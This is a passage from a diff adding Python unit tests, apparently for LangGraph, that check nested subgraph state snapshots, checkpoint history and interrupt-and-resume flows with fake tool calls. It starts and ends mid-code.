"1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {}, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + tasks=( + PregelTask( + id=AnyStr(), + name="2", + path=("__pregel_push", 0, False), + error=None, + interrupts=(), + state=None, + result=["2|Command(goto=Send(node='2', arg=3))"], + ), + PregelTask( + id=AnyStr(), + name="2", + path=("__pregel_push", 1, False), + error=None, + interrupts=(), + state=None, + result=["2|Command(goto=Send(node='flaky', arg=4))"], + ), + PregelTask( + id=AnyStr(), + name="3.1", + path=("__pregel_pull", "3.1"), + error=None, + interrupts=(), + state=None, + result=["3.1"], + ), + ), + interrupts=(), + ), + StateSnapshot( + values=["0"], + next=("1",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 0, + "parents": {}, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + tasks=( + PregelTask( + id=AnyStr(), + name="1", + path=("__pregel_pull", "1"), + error=None, + interrupts=(), + state=None, + result=["1"], + ), + ), + interrupts=(), + ), + StateSnapshot( + values=[], + next=("__start__",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "input", + "step": -1, + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + tasks=( + PregelTask( + id=AnyStr(), + name="__start__", + path=("__pregel_pull", "__start__"), + error=None, + interrupts=(), + state=None, + result=["0"], + ), + ), + ), + ] + if durability != "exit": + assert history == expected_history + else: + assert history[0] == expected_history[0]._replace( + parent_config=history[1].config + ) + assert history[1] == expected_history[2]._replace(parent_config=None) + + +def test_nested_graph_state(sync_checkpointer: BaseCheckpointSaver) -> None: + class InnerState(TypedDict): + my_key: str + my_other_key: str + + def inner_1(state: InnerState): + return { + "my_key": state["my_key"] + " here", + "my_other_key": state["my_key"], + } + + def inner_2(state: InnerState): + return { + "my_key": state["my_key"] + " and there", + "my_other_key": state["my_key"], + } + + inner = StateGraph(InnerState) + inner.add_node("inner_1", inner_1) + inner.add_node("inner_2", inner_2) + inner.add_edge("inner_1", "inner_2") + inner.set_entry_point("inner_1") + inner.set_finish_point("inner_2") + + class State(TypedDict): + my_key: str + other_parent_key: str + + def outer_1(state: State): + return {"my_key": "hi " + state["my_key"]} + + def outer_2(state: State): + return {"my_key": state["my_key"] + " and back again"} + + graph = StateGraph(State) + graph.add_node("outer_1", outer_1) + graph.add_node( + "inner", + inner.compile(interrupt_before=["inner_2"]), + ) + graph.add_node("outer_2", outer_2) + graph.set_entry_point("outer_1") + graph.add_edge("outer_1", "inner") + graph.add_edge("inner", "outer_2") + graph.set_finish_point("outer_2") + + app = graph.compile(checkpointer=sync_checkpointer) + + config = {"configurable": {"thread_id": "1"}} + app.invoke({"my_key": "my value"}, config, durability="exit") + # test state w/ nested subgraph state (right after interrupt) + # first get_state without subgraph state + expected = StateSnapshot( + values={"my_key": "hi my value"}, + tasks=( + PregelTask( + AnyStr(), + "inner", + (PULL, "inner"), + state={"configurable": {"thread_id": "1", "checkpoint_ns": AnyStr()}}, + ), + ), + next=("inner",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ) + assert app.get_state(config) == expected + assert list(app.get_state_history(config)) == [expected] + # now, get_state with subgraphs state + assert app.get_state(config, subgraphs=True) == StateSnapshot( + values={"my_key": "hi my value"}, + tasks=( + PregelTask( + AnyStr(), + "inner", + (PULL, "inner"), + state=StateSnapshot( + values={ + "my_key": "hi my value here", + "my_other_key": "hi my value", + }, + tasks=( + PregelTask( + AnyStr(), + "inner_2", + (PULL, "inner_2"), + ), + ), + next=("inner_2",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("inner:"), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + {"": AnyStr(), AnyStr("child:"): AnyStr()} + ), + } + }, + metadata={ + "parents": { + "": AnyStr(), + }, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ), + ), + ), + next=("inner",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ) + + # get_state_history for a subgraph returns its checkpoints + child_history = [*app.get_state_history(app.get_state(config).tasks[0].state)] + expected_child_history = [ + StateSnapshot( + values={"my_key": "hi my value here", "my_other_key": "hi my value"}, + next=("inner_2",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("inner:"), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + {"": AnyStr(), AnyStr("child:"): AnyStr()} + ), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {"": AnyStr()}, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + tasks=(PregelTask(AnyStr(), "inner_2", (PULL, "inner_2")),), + ), + ] + assert child_history == expected_child_history + + # resume + app.invoke(None, config, durability="exit") + # test state w/ nested subgraph state (after resuming from interrupt) + assert app.get_state(config) == StateSnapshot( + values={"my_key": "hi my value here and there and back again"}, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 3, + }, + created_at=AnyStr(), + parent_config=( + { + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + } + ), + interrupts=(), + ) + # test full history at the end + actual_history = list(app.get_state_history(config)) + expected_history = [ + StateSnapshot( + values={"my_key": "hi my value here and there and back again"}, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 3, + }, + created_at=AnyStr(), + parent_config=( + { + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + } + ), + interrupts=(), + ), + StateSnapshot( + values={"my_key": "hi my value"}, + tasks=( + PregelTask( + AnyStr(), + "inner", + (PULL, "inner"), + state={ + "configurable": {"thread_id": "1", "checkpoint_ns": AnyStr()} + }, + result=None, + ), + ), + next=("inner",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ), + ] + + assert actual_history == expected_history + # test looking up parent state by checkpoint ID + for actual_snapshot, expected_snapshot in zip(actual_history, expected_history): + assert app.get_state(actual_snapshot.config) == expected_snapshot + + +def test_doubly_nested_graph_state( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + class State(TypedDict): + my_key: str + + class ChildState(TypedDict): + my_key: str + + class GrandChildState(TypedDict): + my_key: str + + def grandchild_1(state: ChildState): + return {"my_key": state["my_key"] + " here"} + + def grandchild_2(state: ChildState): + return { + "my_key": state["my_key"] + " and there", + } + + grandchild = StateGraph(GrandChildState) + grandchild.add_node("grandchild_1", grandchild_1) + grandchild.add_node("grandchild_2", grandchild_2) + grandchild.add_edge("grandchild_1", "grandchild_2") + grandchild.set_entry_point("grandchild_1") + grandchild.set_finish_point("grandchild_2") + + child = StateGraph(ChildState) + child.add_node( + "child_1", + grandchild.compile(interrupt_before=["grandchild_2"]), + ) + child.set_entry_point("child_1") + child.set_finish_point("child_1") + + def parent_1(state: State): + return {"my_key": "hi " + state["my_key"]} + + def parent_2(state: State): + return {"my_key": state["my_key"] + " and back again"} + + graph = StateGraph(State) + graph.add_node("parent_1", parent_1) + graph.add_node("child", child.compile()) + graph.add_node("parent_2", parent_2) + graph.set_entry_point("parent_1") + graph.add_edge("parent_1", "child") + graph.add_edge("child", "parent_2") + graph.set_finish_point("parent_2") + + app = graph.compile(checkpointer=sync_checkpointer) + + # test invoke w/ nested interrupt + config = {"configurable": {"thread_id": "1"}} + assert [ + c + for c in app.stream( + {"my_key": "my value"}, config, subgraphs=True, durability="exit" + ) + ] == [ + ((), {"parent_1": {"my_key": "hi my value"}}), + ( + (AnyStr("child:"), AnyStr("child_1:")), + {"grandchild_1": {"my_key": "hi my value here"}}, + ), + ((), {"__interrupt__": ()}), + ] + # get state without subgraphs + outer_state = app.get_state(config) + assert outer_state == StateSnapshot( + values={"my_key": "hi my value"}, + tasks=( + PregelTask( + AnyStr(), + "child", + (PULL, "child"), + state={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("child"), + } + }, + ), + ), + next=("child",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ) + child_state = app.get_state(outer_state.tasks[0].state) + assert child_state == StateSnapshot( + values={"my_key": "hi my value"}, + tasks=( + PregelTask( + AnyStr(), + "child_1", + (PULL, "child_1"), + state={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr(), + } + }, + ), + ), + next=("child_1",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("child:"), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + { + "": AnyStr(), + AnyStr("child:"): AnyStr(), + } + ), + } + }, + metadata={ + "parents": {"": AnyStr()}, + "source": "loop", + "step": 0, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ) + grandchild_state = app.get_state(child_state.tasks[0].state) + assert grandchild_state == StateSnapshot( + values={"my_key": "hi my value here"}, + tasks=( + PregelTask( + AnyStr(), + "grandchild_2", + (PULL, "grandchild_2"), + ), + ), + next=("grandchild_2",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr(), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + { + "": AnyStr(), + AnyStr("child:"): AnyStr(), + AnyStr(re.compile(r"child:.+|child1:")): AnyStr(), + } + ), + } + }, + metadata={ + "parents": AnyDict( + { + "": AnyStr(), + AnyStr("child:"): AnyStr(), + } + ), + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ) + # get state with subgraphs + assert app.get_state(config, subgraphs=True) == StateSnapshot( + values={"my_key": "hi my value"}, + tasks=( + PregelTask( + AnyStr(), + "child", + (PULL, "child"), + state=StateSnapshot( + values={"my_key": "hi my value"}, + tasks=( + PregelTask( + AnyStr(), + "child_1", + (PULL, "child_1"), + state=StateSnapshot( + values={"my_key": "hi my value here"}, + tasks=( + PregelTask( + AnyStr(), + "grandchild_2", + (PULL, "grandchild_2"), + ), + ), + next=("grandchild_2",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr(), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + { + "": AnyStr(), + AnyStr("child:"): AnyStr(), + AnyStr( + re.compile(r"child:.+|child1:") + ): AnyStr(), + } + ), + } + }, + metadata={ + "parents": AnyDict( + { + "": AnyStr(), + AnyStr("child:"): AnyStr(), + } + ), + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ), + ), + ), + next=("child_1",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("child:"), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + {"": AnyStr(), AnyStr("child:"): AnyStr()} + ), + } + }, + metadata={ + "parents": {"": AnyStr()}, + "source": "loop", + "step": 0, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ), + ), + ), + next=("child",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ) + # # resume + assert [c for c in app.stream(None, config, subgraphs=True, durability="exit")] == [ + ( + (AnyStr("child:"), AnyStr("child_1:")), + {"grandchild_2": {"my_key": "hi my value here and there"}}, + ), + ((AnyStr("child:"),), {"child_1": {"my_key": "hi my value here and there"}}), + ((), {"child": {"my_key": "hi my value here and there"}}), + ((), {"parent_2": {"my_key": "hi my value here and there and back again"}}), + ] + # get state with and without subgraphs + assert ( + app.get_state(config) + == app.get_state(config, subgraphs=True) + == StateSnapshot( + values={"my_key": "hi my value here and there and back again"}, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 3, + }, + created_at=AnyStr(), + parent_config=( + { + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + } + ), + interrupts=(), + ) + ) + + # get outer graph history + outer_history = list(app.get_state_history(config)) + assert outer_history == [ + StateSnapshot( + values={"my_key": "hi my value here and there and back again"}, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 3, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + interrupts=(), + ), + StateSnapshot( + values={"my_key": "hi my value"}, + tasks=( + PregelTask( + AnyStr(), + "child", + (PULL, "child"), + state={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("child"), + } + }, + result=None, + ), + ), + next=("child",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ), + ] + # get child graph history + child_history = list(app.get_state_history(outer_history[1].tasks[0].state)) + assert child_history == [ + StateSnapshot( + values={"my_key": "hi my value"}, + next=("child_1",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("child:"), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + {"": AnyStr(), AnyStr("child:"): AnyStr()} + ), + } + }, + metadata={ + "source": "loop", + "step": 0, + "parents": {"": AnyStr()}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=( + PregelTask( + id=AnyStr(), + name="child_1", + path=(PULL, "child_1"), + state={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("child:"), + } + }, + result=None, + ), + ), + interrupts=(), + ), + ] + # get grandchild graph history + grandchild_history = list(app.get_state_history(child_history[0].tasks[0].state)) + assert grandchild_history == [ + StateSnapshot( + values={"my_key": "hi my value here"}, + next=("grandchild_2",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr(), + "checkpoint_id": AnyStr(), + "checkpoint_map": AnyDict( + { + "": AnyStr(), + AnyStr("child:"): AnyStr(), + AnyStr(re.compile(r"child:.+|child1:")): AnyStr(), + } + ), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": AnyDict( + { + "": AnyStr(), + AnyStr("child:"): AnyStr(), + } + ), + }, + created_at=AnyStr(), + parent_config=None, + tasks=( + PregelTask( + id=AnyStr(), + name="grandchild_2", + path=(PULL, "grandchild_2"), + result=None, + ), + ), + interrupts=(), + ), + ] + + +def test_send_to_nested_graphs(sync_checkpointer: BaseCheckpointSaver) -> None: + class OverallState(TypedDict): + subjects: list[str] + jokes: Annotated[list[str], operator.add] + + def continue_to_jokes(state: OverallState): + return [Send("generate_joke", {"subject": s}) for s in state["subjects"]] + + class JokeState(TypedDict): + subject: str + + def edit(state: JokeState): + subject = state["subject"] + return {"subject": f"{subject} - hohoho"} + + # subgraph + subgraph = StateGraph(JokeState, output_schema=OverallState) + subgraph.add_node("edit", edit) + subgraph.add_node( + "generate", lambda state: {"jokes": [f"Joke about {state['subject']}"]} + ) + subgraph.set_entry_point("edit") + subgraph.add_edge("edit", "generate") + subgraph.set_finish_point("generate") + + # parent graph + builder = StateGraph(OverallState) + builder.add_node( + "generate_joke", + subgraph.compile(interrupt_before=["generate"]), + ) + builder.add_conditional_edges(START, continue_to_jokes) + builder.add_edge("generate_joke", END) + + graph = builder.compile(checkpointer=sync_checkpointer) + config = {"configurable": {"thread_id": "1"}} + tracer = FakeTracer() + + # invoke and pause at nested interrupt + assert graph.invoke( + {"subjects": ["cats", "dogs"]}, config={**config, "callbacks": [tracer]} + ) == { + "subjects": ["cats", "dogs"], + "jokes": [], + } + assert len(tracer.runs) == 1, "Should produce exactly 1 root run" + + # check state + outer_state = graph.get_state(config) + + # update state of dogs joke graph + graph.update_state(outer_state.tasks[1].state, {"subject": "turtles - hohoho"}) + + # continue past interrupt + assert sorted( + graph.stream(None, config=config), + key=lambda d: d["generate_joke"]["jokes"][0], + ) == [ + {"generate_joke": {"jokes": ["Joke about cats - hohoho"]}}, + {"generate_joke": {"jokes": ["Joke about turtles - hohoho"]}}, + ] + + +def test_send_react_interrupt( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + from langchain_core.messages import AIMessage, HumanMessage, ToolCall, ToolMessage + + ai_message = AIMessage( + "", + id="ai1", + tool_calls=[ToolCall(name="foo", args={"hi": [1, 2, 3]}, id=AnyStr())], + ) + + def agent(state): + return {"messages": ai_message} + + def route(state): + if isinstance(state["messages"][-1], AIMessage): + return [ + Send(call["name"], call) for call in state["messages"][-1].tool_calls + ] + + foo_called = 0 + + def foo(call: ToolCall): + nonlocal foo_called + foo_called += 1 + return {"messages": ToolMessage(str(call["args"]), tool_call_id=call["id"])} + + builder = StateGraph(MessagesState) + builder.add_node(agent) + builder.add_node(foo) + builder.add_edge(START, "agent") + builder.add_conditional_edges("agent", route) + graph = builder.compile() + + assert graph.invoke({"messages": [HumanMessage("hello")]}) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + _AnyIdToolMessage( + content="{'hi': [1, 2, 3]}", + tool_call_id=AnyStr(), + ), + ] + } + assert foo_called == 1 + + # simple interrupt-resume flow + foo_called = 0 + graph = builder.compile(checkpointer=sync_checkpointer, interrupt_before=["foo"]) + thread1 = {"configurable": {"thread_id": "1"}} + assert graph.invoke({"messages": [HumanMessage("hello")]}, thread1) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + ] + } + assert foo_called == 0 + assert graph.invoke(None, thread1) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + _AnyIdToolMessage( + content="{'hi': [1, 2, 3]}", + tool_call_id=AnyStr(), + ), + ] + } + assert foo_called == 1 + + # interrupt-update-resume flow + foo_called = 0 + graph = builder.compile(checkpointer=sync_checkpointer, interrupt_before=["foo"]) + thread1 = {"configurable": {"thread_id": "2"}} + assert graph.invoke( + {"messages": [HumanMessage("hello")]}, thread1, durability="exit" + ) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + ] + } + assert foo_called == 0 + + # get state should show the pending task + state = graph.get_state(thread1) + assert state == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + ] + }, + next=("foo",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "step": 1, + "source": "loop", + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + tasks=( + PregelTask( + id=AnyStr(), + name="foo", + path=("__pregel_push", 0, False), + error=None, + interrupts=(), + state=None, + result=None, + ), + ), + ) + + # remove the tool call, clearing the pending task + graph.update_state( + thread1, {"messages": AIMessage("Bye now", id=ai_message.id, tool_calls=[])} + ) + + # tool call no longer in pending tasks + assert graph.get_state(thread1) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="Bye now", + tool_calls=[], + ), + ] + }, + next=(), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "step": 2, + "source": "update", + "parents": {}, + }, + created_at=AnyStr(), + parent_config=( + { + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + } + ), + interrupts=(), + tasks=(), + ) + + # tool call not executed + assert graph.invoke(None, thread1) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage(content="Bye now"), + ] + } + assert foo_called == 0 + + # interrupt-update-resume flow, creating new Send in update call + foo_called = 0 + graph = builder.compile(checkpointer=sync_checkpointer, interrupt_before=["foo"]) + thread1 = {"configurable": {"thread_id": "3"}} + assert graph.invoke( + {"messages": [HumanMessage("hello")]}, thread1, durability="exit" + ) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + ] + } + assert foo_called == 0 + + # get state should show the pending task + state = graph.get_state(thread1) + assert state == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + ] + }, + next=("foo",), + config={ + "configurable": { + "thread_id": "3", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "step": 1, + "source": "loop", + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + tasks=( + PregelTask( + id=AnyStr(), + name="foo", + path=("__pregel_push", 0, False), + error=None, + interrupts=(), + state=None, + result=None, + ), + ), + ) + + # replace the tool call, should clear previous send, create new one + graph.update_state( + thread1, + { + "messages": AIMessage( + "", + id=ai_message.id, + tool_calls=[ + { + "name": "foo", + "args": {"hi": [4, 5, 6]}, + "id": "tool1", + "type": "tool_call", + } + ], + ) + }, + ) + + # prev tool call no longer in pending tasks, new tool call is + assert graph.get_state(thread1) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [4, 5, 6]}, + "id": "tool1", + "type": "tool_call", + } + ], + ), + ] + }, + next=("foo",), + config={ + "configurable": { + "thread_id": "3", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "step": 2, + "source": "update", + "parents": {}, + }, + created_at=AnyStr(), + parent_config=( + { + "configurable": { + "thread_id": "3", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + } + ), + interrupts=(), + tasks=( + PregelTask( + id=AnyStr(), + name="foo", + path=("__pregel_push", 0, False), + error=None, + interrupts=(), + state=None, + result=None, + ), + ), + ) + + # prev tool call not executed, new tool call is + assert graph.invoke(None, thread1) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + AIMessage( + "", + id="ai1", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [4, 5, 6]}, + "id": "tool1", + "type": "tool_call", + } + ], + ), + _AnyIdToolMessage(content="{'hi': [4, 5, 6]}", tool_call_id="tool1"), + ] + } + assert foo_called == 1 + + +def test_send_react_interrupt_control( + sync_checkpointer: BaseCheckpointSaver, snapshot: SnapshotAssertion +) -> None: + from langchain_core.messages import AIMessage, HumanMessage, ToolCall, ToolMessage + + ai_message = AIMessage( + "", + id="ai1", + tool_calls=[ToolCall(name="foo", args={"hi": [1, 2, 3]}, id=AnyStr())], + ) + + def agent(state) -> Command[Literal["foo"]]: + return Command( + update={"messages": ai_message}, + goto=[Send(call["name"], call) for call in ai_message.tool_calls], + ) + + foo_called = 0 + + def foo(call: ToolCall): + nonlocal foo_called + foo_called += 1 + return {"messages": ToolMessage(str(call["args"]), tool_call_id=call["id"])} + + builder = StateGraph(MessagesState) + builder.add_node(agent) + builder.add_node(foo) + builder.add_edge(START, "agent") + graph = builder.compile() + + if isinstance(sync_checkpointer, InMemorySaver): + assert graph.get_graph().draw_mermaid() == snapshot + + assert graph.invoke({"messages": [HumanMessage("hello")]}) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + _AnyIdToolMessage( + content="{'hi': [1, 2, 3]}", + tool_call_id=AnyStr(), + ), + ] + } + assert foo_called == 1 + + # simple interrupt-resume flow + foo_called = 0 + graph = builder.compile(checkpointer=sync_checkpointer, interrupt_before=["foo"]) + thread1 = {"configurable": {"thread_id": "1"}} + assert graph.invoke({"messages": [HumanMessage("hello")]}, thread1) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + ] + } + assert foo_called == 0 + assert graph.invoke(None, thread1) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + _AnyIdToolMessage( + content="{'hi': [1, 2, 3]}", + tool_call_id=AnyStr(), + ), + ] + } + assert foo_called == 1 + + # interrupt-update-resume flow + foo_called = 0 + graph = builder.compile(checkpointer=sync_checkpointer, interrupt_before=["foo"]) + thread1 = {"configurable": {"thread_id": "2"}} + assert graph.invoke( + {"messages": [HumanMessage("hello")]}, thread1, durability="exit" + ) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + ] + } + assert foo_called == 0 + + # get state should show the pending task + state = graph.get_state(thread1) + assert state == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + ] + }, + next=("foo",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "step": 1, + "source": "loop", + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=( + PregelTask( + id=AnyStr(), + name="foo", + path=("__pregel_push", 0, False), + error=None, + interrupts=(), + state=None, + result=None, + ), + ), + interrupts=(), + ) + + # remove the tool call, clearing the pending task + graph.update_state( + thread1, {"messages": AIMessage("Bye now", id=ai_message.id, tool_calls=[])} + ) + + # tool call no longer in pending tasks + assert graph.get_state(thread1) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="Bye now", + tool_calls=[], + ), + ] + }, + next=(), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "step": 2, + "source": "update", + "parents": {}, + }, + created_at=AnyStr(), + parent_config=( + { + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + } + ), + interrupts=(), + tasks=(), + ) + + # tool call not executed + assert graph.invoke(None, thread1) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage(content="Bye now"), + ] + } + assert foo_called == 0 + + # interrupt-update-resume flow, creating new Send in update call + + # TODO add here test with invoke(Command()) + + +def test_weather_subgraph( + sync_checkpointer: BaseCheckpointSaver, snapshot: SnapshotAssertion +) -> None: + from langchain_core.language_models.fake_chat_models import ( + FakeMessagesListChatModel, + ) + + # setup subgraph + + @tool + def get_weather(city: str): + """Get the weather for a specific city""" + return f"I'ts sunny in {city}!" + + weather_model = FakeMessagesListChatModel( + responses=[ + AIMessage( + content="", + tool_calls=[ + ToolCall( + id="tool_call123", + name="get_weather", + args={"city": "San Francisco"}, + ) + ], + ) + ] + ) + + class SubGraphState(MessagesState): + city: str + + def model_node(state: SubGraphState, writer: StreamWriter): + writer(" very") + result = weather_model.invoke(state["messages"]) + return {"city": cast(AIMessage, result).tool_calls[0]["args"]["city"]} + + def weather_node(state: SubGraphState, writer: StreamWriter): + writer(" good") + result = get_weather.invoke({"city": state["city"]}) + return {"messages": [{"role": "assistant", "content": result}]} + + subgraph = StateGraph(SubGraphState) + subgraph.add_node(model_node) + subgraph.add_node(weather_node) + subgraph.add_edge(START, "model_node") + subgraph.add_edge("model_node", "weather_node") + subgraph.add_edge("weather_node", END) + subgraph = subgraph.compile(interrupt_before=["weather_node"]) + + # setup main graph + + class 